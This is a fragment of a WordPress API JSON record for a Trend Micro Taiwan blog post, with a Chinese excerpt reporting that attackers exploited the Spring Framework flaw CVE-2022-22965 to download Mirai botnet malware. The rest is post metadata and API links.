Mirai Botnet Malware<\/a> \u4f5c\u8005\uff1aDeep Patel\u3001Nitesh Surana\u3001Ashish Verma<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8da8\u52e2\u79d1\u6280\u767c\u73fe\u99ed\u5ba2\u6b63\u7a4d\u6975\u5229\u7528 Spring Framework \u7684 CVE-2022-22965 \u6f0f\u6d1e\u4f86\u4e0b\u8f09 M [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_wpscppro_dont_share_socialmedia":false,"_wpscppro_custom_social_share_image":0,"_facebook_share_type":"","_twitter_share_type":"","_linkedin_share_type":"","_pinterest_share_type":"","_linkedin_share_type_page":"","_instagram_share_type":"","_medium_share_type":"","_threads_share_type":"","_google_business_share_type":"","_selected_social_profile":[],"_wpsp_enable_custom_social_template":false,"_wpsp_social_scheduling":{"enabled":false,"datetime":null,"platforms":[],"status":"template_only","dateOption":"today","timeOption":"now","customDays":"","customHours":"","customDate":"","customTime":"","schedulingType":"absolute"},"_wpsp_active_default_template":true},"categories":[1],"tags":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/72067"}],"collection":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=72067"}],"version-history":[{"count":1,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/72067\/revisions"}],"predecessor-version":[{"id":72068,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/72067\/revisions\/72068"}],"wp:attachment":[{"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=72067"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=72067"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.trendmicro.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=72067"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}